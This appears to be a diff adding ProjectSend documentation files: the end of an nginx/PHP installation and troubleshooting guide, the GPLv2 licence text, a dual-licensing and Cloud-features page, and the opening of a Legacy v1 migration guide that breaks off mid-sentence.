Sending email and building zip archives of multiple files happen in the background, so nobody sits
|
||||
watching a spinner. Something has to actually run that work. Create
|
||||
`/etc/systemd/system/projectsend-worker.service`:
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=ProjectSend queue worker
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=www-data
|
||||
Group=www-data
|
||||
Restart=always
|
||||
WorkingDirectory=/var/www/projectsend
|
||||
ExecStart=/usr/bin/php artisan queue:work --tries=3 --backoff=3
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
Then:
|
||||
|
||||
```sh
|
||||
sudo systemctl enable --now projectsend-worker
|
||||
```
|
||||
|
||||
**Without this, no email is ever sent** and zip downloads never finish. `Restart=always` matters
|
||||
too: saving your email settings restarts the worker so it picks up the new values, and it needs to
|
||||
come back on its own.
|
||||
|
||||
### The scheduled tasks
|
||||
|
||||
A handful of daily housekeeping jobs — deleting expired files, cleaning up abandoned uploads,
|
||||
checking for new ProjectSend versions. Add one line to the web user's crontab
|
||||
(`sudo crontab -u www-data -e`):
|
||||
|
||||
```cron
|
||||
* * * * * cd /var/www/projectsend && php artisan schedule:run >> /dev/null 2>&1
|
||||
```
|
||||
|
||||
Yes, every minute. ProjectSend decides internally what is actually due; the cron entry just gives
|
||||
it a heartbeat.
|
||||
|
||||
To check that both of these are working, log in and open **System → Settings → Scheduler**.
|
||||
It lists every task, when it last ran and whether it succeeded — along with any background job that
|
||||
failed. If the page says nothing has ever run, your cron line is not firing.
|
||||
|
||||
---
|
||||
|
||||
## Optional extras
|
||||
|
||||
### Sending email
|
||||
|
||||
Log in, go to **System → Settings → Email**, and enter your SMTP server's details there. That is
|
||||
the place to configure it — the settings screen also has a "send test email" button, which will
|
||||
save you a lot of guessing. The `MAIL_*` values in `.env` are only used until you fill that screen
|
||||
in.
|
||||
|
||||
### Redis
|
||||
|
||||
If you have Redis available, it is faster than the database for sessions, cache and queues. Install
|
||||
the `redis` PHP extension and change three lines in `.env`:
|
||||
|
||||
```ini
|
||||
SESSION_DRIVER=redis
|
||||
CACHE_STORE=redis
|
||||
QUEUE_CONNECTION=redis
|
||||
```
|
||||
|
||||
Restart PHP-FPM and the background worker afterwards.
|
||||
|
||||
Add `REDIS_HOST`, `REDIS_PORT` and `REDIS_PASSWORD` if it is not a default local install. Restart
|
||||
the worker afterwards.
|
||||
|
||||
### Storing files somewhere other than this server
|
||||
|
||||
Out of the box, uploads live in `storage/app/files/` on this machine. You can point ProjectSend at
|
||||
S3-compatible object storage instead from **System → Settings → Storage** — useful when the files
|
||||
outgrow the server's disk.
|
||||
|
||||
### Making it faster
|
||||
|
||||
For a busy install, let PHP pre-compile the app's routes and views:
|
||||
|
||||
```sh
|
||||
sudo -u www-data php artisan route:cache
|
||||
sudo -u www-data php artisan view:cache
|
||||
sudo -u www-data php artisan event:cache
|
||||
```
|
||||
|
||||
Re-run them after every update. If you change your mind, `php artisan optimize:clear` undoes all
|
||||
three.
|
||||
|
||||
#### One command to skip: `config:cache`
|
||||
|
||||
Every Laravel deployment guide on the internet lists `php artisan config:cache` alongside those
|
||||
three, and `php artisan optimize` runs it for you. **Don't** — not on this application.
|
||||
|
||||
Here is why. Caching the configuration writes every resolved setting into one PHP file, and from
|
||||
then on the framework stops reading your `.env` at all, on the entirely reasonable grounds that
|
||||
everything in it has already been baked in. That holds for settings read the normal way, through
|
||||
`config()`. ProjectSend reads one value earlier than that — `TRUSTED_PROXIES`, which has to be
|
||||
known before the middleware stack is assembled, so it is read straight from the environment. Cache
|
||||
the config and that read returns nothing.
|
||||
|
||||
Nothing breaks loudly. The site comes up, you log in, everything looks fine. But if there is a
|
||||
proxy or CDN in front of the server, ProjectSend goes back to believing every visitor is the proxy:
|
||||
the login rate limiter now counts all of your users as one attacker and locks the whole site out
|
||||
after five wrong passwords, and every row in the download log records the proxy's address instead
|
||||
of the person who actually downloaded the file. Both are the kind of thing you discover weeks
|
||||
later, from a complaint.
|
||||
|
||||
If you have already run it — or ran `php artisan optimize`, which includes it — `php artisan
|
||||
config:clear` puts things back immediately. The three commands above are safe and give you nearly
|
||||
all of the speed anyway; `config:cache` was always the smallest win of the four.
|
||||
|
||||
---
|
||||
|
||||
## Updating to a new version
|
||||
|
||||
1. **Back up first** — the database, the `.env` file, and `storage/app/files/`. Every time.
|
||||
2. Put the site in maintenance mode: `sudo -u www-data php artisan down`
|
||||
3. Unpack the new zip over the install directory. Keep your `.env` and your `storage/` folder —
|
||||
the zip does not contain either, but check your unzip tool is not helpfully deleting things.
|
||||
4. Run the updates:
|
||||
|
||||
```sh
|
||||
sudo -u www-data php artisan migrate --force
|
||||
sudo -u www-data php artisan projectsend:ensure-roles
|
||||
sudo -u www-data php artisan optimize:clear
|
||||
sudo -u www-data php artisan queue:restart
|
||||
```
|
||||
|
||||
5. Bring it back: `sudo -u www-data php artisan up`
|
||||
|
||||
`projectsend:ensure-roles` teaches the built-in roles about any permissions the new version added.
|
||||
It never touches permissions you have customised yourself.
|
||||
|
||||
---
|
||||
|
||||
## When something goes wrong
|
||||
|
||||
**A page that says "ProjectSend is not configured yet."**
|
||||
This is not an error — it is ProjectSend telling you which setup step is still missing. You reached
|
||||
the site before creating your `.env` (step 3) or before generating `APP_KEY` (step 5). The page
|
||||
names the exact command to run; do that, then reload.
|
||||
|
||||
**Every page is blank, or shows a 500 error.**
|
||||
Look in `storage/logs/` — open the newest file, the real error is at the bottom. Nine times out of ten it is
|
||||
folder permissions (step 4) or a wrong database password (step 3).
|
||||
|
||||
**"Please provide a valid cache path" or "failed to open stream".**
|
||||
`storage/` or `bootstrap/cache/` is not writable by the web server user. Step 4.
|
||||
|
||||
**`php artisan` says "Table 'sessions' doesn't exist".**
|
||||
Something reached the database before `migrate` created its tables. Finish step 5 in order —
|
||||
`key:generate`, then `migrate`, then `storage:link`.
|
||||
|
||||
**Every address redirects me to the setup screen.**
|
||||
That is correct behaviour until the first administrator exists. Finish step 7. If you have already
|
||||
created one and it still happens, ProjectSend cannot reach your database — check `storage/logs/`.
|
||||
|
||||
**Pages load but downloads give a 404, or download a 0-byte file.**
|
||||
The `/protected-files/` block is missing from your nginx config, or its `alias` path does not match
|
||||
where you installed ProjectSend. It must point at `storage/app/files/` and end with a slash. If you
|
||||
are on Apache or LiteSpeed, no configuration will fix this — see [Why nginx](#why-nginx).
|
||||
|
||||
**Uploads fail partway through.**
|
||||
`client_max_body_size` in nginx, or `upload_max_filesize` / `post_max_size` in `php.ini`, is
|
||||
smaller than a 20 MB upload piece. Step 6.
|
||||
|
||||
**No email arrives, and the test email button says it worked.**
|
||||
"It worked" means it was queued, not delivered. The background worker is not running — see
|
||||
[The background worker](#the-background-worker).
|
||||
|
||||
**The CAPTCHA is stopping people signing in, and I cannot get in to switch it off.**
|
||||
It should not be able to: a wrong secret key or an unreachable provider both let people through and
|
||||
report the problem on the settings screen instead. If you are stuck anyway, add
|
||||
`PROJECTSEND_CAPTCHA_DISABLED=true` to `.env` and run `php artisan optimize:clear`, or run
|
||||
`php artisan projectsend:captcha-off`. Your keys are kept either way. To check a key without
|
||||
locking anything, `php artisan projectsend:captcha-test` asks the provider directly.
|
||||
|
||||
**Emails and links point at `localhost` or the wrong domain.**
|
||||
`APP_URL` in `.env`. Fix it and run `php artisan optimize:clear`.
|
||||
|
||||
**A change I made in `.env` has no effect.**
|
||||
Run `php artisan optimize:clear`, then restart PHP-FPM and the worker. Both hold the old values
|
||||
until they are restarted. If it *still* has no effect, someone has run `php artisan config:cache`
|
||||
(or `optimize`) on this install — see [One command to skip](#one-command-to-skip-configcache).
|
||||
|
||||
**Everyone is locked out of the login form at once, or the download log shows the same IP for
|
||||
every download.**
|
||||
ProjectSend is seeing your proxy or CDN instead of your visitors. Set `TRUSTED_PROXIES` in `.env`
|
||||
(step 3) — and make sure `config:cache` has not been run, which stops that value from being read
|
||||
at all. Same section as above.
|
||||
|
||||
Still stuck? Ask in the [community forum](https://www.projectsend.org/) or open an issue on
|
||||
[GitHub](https://github.com/projectsend/projectsend/issues), and include the last few lines of
|
||||
the newest file in `storage/logs/` — it is almost always the fastest way to an answer.
|
||||
@@ -0,0 +1,338 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
<https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
<signature of Moe Ghoul>, 1 April 1989
|
||||
Moe Ghoul, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License.
|
||||
+106
@@ -0,0 +1,106 @@
|
||||
# ProjectSend Licensing
|
||||
|
||||
ProjectSend is available under two licenses. Pick whichever fits.
|
||||
|
||||
## 1. GNU GPL v2 — free, for everyone
|
||||
|
||||
The default, and the license ProjectSend has used since 2011. Free of charge, forever, with the
|
||||
four freedoms intact: run it, study it, modify it, share it. See [LICENSE](LICENSE) for the full
|
||||
text. Formally the grant is "GPLv2, or at your option, any later version" — the "or later"
|
||||
option is there because some bundled dependencies (such as the AWS SDK) are Apache-2.0 licensed,
|
||||
which combines cleanly with GPLv3 terms but not with GPLv2-only.
|
||||
|
||||
**If you're self-hosting ProjectSend to share files with your own clients, this is you, and there
|
||||
is nothing to think about.** Using the software — even commercially, even inside a large company,
|
||||
even with paying clients — triggers no obligations. You don't have to publish anything.
|
||||
|
||||
The GPL asks for reciprocity in one situation: **if you distribute a modified version**, you ship
|
||||
your changes' source alongside it, under the GPL. Running it on your own server isn't
|
||||
distribution.
|
||||
|
||||
## 2. Commercial license — for when the GPL doesn't fit
|
||||
|
||||
Some organizations can't work under copyleft terms. Common cases:
|
||||
|
||||
- You want to **embed** ProjectSend inside a closed-source product you sell.
|
||||
- You want to **white-label** it as part of a commercial offering and distribute it to customers
|
||||
without publishing your modifications.
|
||||
- Your legal or procurement department has a blanket policy against GPL dependencies in shipped
|
||||
products.
|
||||
- You need **warranties or indemnification**, which no open source license provides.
|
||||
|
||||
A commercial license removes the GPL's source-sharing obligations. It's the same software.
|
||||
|
||||
Contact <contact@projectsend.org> with a short description of what you're building and how you
|
||||
plan to distribute it, and we'll come back with terms.
|
||||
|
||||
---
|
||||
|
||||
## What's in the core, and what's in ProjectSend Cloud
|
||||
|
||||
We run [ProjectSend Cloud](https://projectsend.cloud), a hosted version. It has features the
|
||||
self-hosted core doesn't. Rather than let you find that out one feature announcement at a time,
|
||||
here's the line we draw and the commitments that go with it.
|
||||
|
||||
**The principle:** if a capability makes ProjectSend work for one organization on its own server,
|
||||
it belongs in the core. If it only exists because we run installations on other people's behalf,
|
||||
it belongs in Cloud.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| **Always in the free core** | Client accounts and groups · file assignment and expiration · client uploads · download tracking and activity logs · categories and folders · themes and custom branding · two-factor authentication · role-based permissions · S3-compatible storage · public links · translations · the extension API |
|
||||
| **Cloud only** | Billing and subscriptions · automated provisioning · managed backups and restore · infrastructure monitoring and uptime SLA · managed email deliverability · cross-organization administration |
|
||||
|
||||
**Our commitments:**
|
||||
|
||||
1. Nothing that is free today will ever move behind a paid tier.
|
||||
2. No artificial limits in the self-hosted version — no caps on users, clients, files or storage
|
||||
designed to push you toward the hosted plan. Self-hosted ProjectSend is a complete product,
|
||||
not a demo.
|
||||
3. Cloud features are built on a public extension API. The same API is available to you, so
|
||||
anything we can build as a first-party extension, you can build too.
|
||||
4. When we add a paid feature, we'll say so plainly in the release notes rather than letting you
|
||||
discover it.
|
||||
|
||||
**Where it gets genuinely gray:** enterprise-oriented capabilities like SAML/SSO, advanced audit
|
||||
exports, and long-horizon retention policies would work fine self-hosted, and we may build some
|
||||
of them for paying customers. We're not going to pretend otherwise. What we won't do is take
|
||||
something out of the core to put it there.
|
||||
|
||||
---
|
||||
|
||||
## Frequently asked questions
|
||||
|
||||
**I run ProjectSend on my own server for my clients. Do I owe anything?**
|
||||
No. Self-hosting for your own use — including commercial use, including with paying clients —
|
||||
carries no obligation. You don't have to publish anything and you don't need a commercial license.
|
||||
|
||||
**I made changes to my installation. Now what?**
|
||||
If you're not distributing that modified version to anyone else, nothing. Keep your changes to
|
||||
yourself if you want. If you do hand out copies, they come with the source under the GPL. Either
|
||||
way, we'd rather you upstream them.
|
||||
|
||||
**Can I resell ProjectSend hosting?**
|
||||
Yes. The GPL doesn't stop anyone from offering ProjectSend as a hosted service, including in
|
||||
competition with us.
|
||||
|
||||
**Why is there a CLA if the license isn't changing?**
|
||||
Two reasons. It's what lets us offer the commercial license described above — without rights to
|
||||
every contributor's code, we can't license the whole thing to anyone. And it means we're not
|
||||
permanently locked out of ever updating the project's license, which today would require
|
||||
tracking down fifteen years of contributors. We have no license change planned. See
|
||||
[CONTRIBUTING.md](CONTRIBUTING.md) for the full reasoning and what we commit to in exchange.
|
||||
|
||||
**Are you going to switch to AGPL / BSL / SSPL?**
|
||||
No plans. If that ever changes it'll be proposed publicly and discussed before anything happens,
|
||||
not announced after the fact. And in any case, every release published under the GPLv2 stays
|
||||
GPLv2 permanently — that can't be revoked and we wouldn't want to.
|
||||
|
||||
**Do I need a commercial license to contribute?**
|
||||
No. Contributions are welcome under the GPL. See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
---
|
||||
|
||||
*Nothing on this page is legal advice. If your situation is complicated, talk to a lawyer — and
|
||||
if you tell us what you're trying to do, we'll usually be able to tell you quickly whether you
|
||||
need a commercial license or not.*
|
||||
@@ -0,0 +1,355 @@
|
||||
# Moving from ProjectSend Legacy (v1)
|
||||
|
||||
This guide takes an existing **ProjectSend Legacy** install — the r2098-era PHP app, the one whose
|
||||
database tables are named `tbl_users`, `tbl_files` and so on — and brings its accounts, clients,
|
||||
groups, categories, folders, files and history into a new **ProjectSend** install.
|
||||
|
||||
It is done by a separate tool, [`projectsend/v1-migration-tool`](https://github.com/projectsend/v1-migration-tool),
|
||||
which you install into your new install when you want it and remove when you are done. It is
|
||||
deliberately not built in: migrating happens once, if ever, and the engine it needs — arbitrary
|
||||
database connections and direct writes across the whole schema — is not something every install
|
||||
should carry idle.
|
||||
|
||||
**Your old install is never written to.** Not a marker row, not a lock file, not a maintenance
|
||||
flag. It keeps running exactly as it did while you try the migration, look at the result, undo it,
|
||||
adjust and try again. Nothing about this is a one-way door until you decide it is.
|
||||
|
||||
The whole thing takes about twenty minutes on a small install. Large ones take longer to plan than
|
||||
to run — see [Large installs](#large-installs).
|
||||
|
||||
---
|
||||
|
||||
## Read this part first
|
||||
|
||||
Three things decide whether this will go smoothly, and all three are easier to deal with now than
|
||||
halfway through.
|
||||
|
||||
### Your clients will sign in with their email address
|
||||
|
||||
Legacy signs in with a **username**. ProjectSend signs in with an **email address**. Every client's
|
||||
login therefore changes.
|
||||
|
||||
Their **passwords do not** — the hashes come across as they are, so nobody gets a reset email and
|
||||
nobody is forced to pick a new password. Only the thing they type in the first box changes.
|
||||
|
||||
The exception is an account whose stored hash ProjectSend cannot read: a blank password, or one
|
||||
left by a Legacy install old enough to predate the hashing it uses now. Those accounts could not
|
||||
sign into Legacy either, and they cannot be repaired — the password itself is long gone. The tool
|
||||
names them before the run and counts them in the report; those people use **Forgot password** once,
|
||||
after which their account behaves like any other.
|
||||
|
||||
Legacy also did not require email addresses to be unique, because it never signed in with them. The
|
||||
tool refuses to start until duplicates, blanks and invalid addresses are fixed in your Legacy
|
||||
install, and it names the accounts. That refusal is on purpose: picking a winner between two
|
||||
accounts sharing an address is deciding which of your clients loses access, and that is not a
|
||||
